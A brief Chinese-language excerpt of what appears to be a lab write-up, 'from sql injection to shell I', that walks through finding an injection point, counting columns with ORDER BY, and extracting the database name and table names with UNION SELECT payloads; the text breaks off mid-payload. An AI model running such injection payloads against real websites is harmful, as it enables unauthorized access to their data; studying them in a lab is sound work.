from sql injection to shell I

環境搭建好以後，找到一個注入點，發現加單引號報錯，然後進行注入 oder by 4正常，order by 5報錯，那麼聯合查詢 發現第二個字段可以利用，然後開始注入，爲了節省地盤，以下就打印輸入和輸出語句 ?id=1 union select 1,database(),3,4 >>>photoblog ?id=1 union select 1,group_concat(table_name),3,

>>阅读原文<<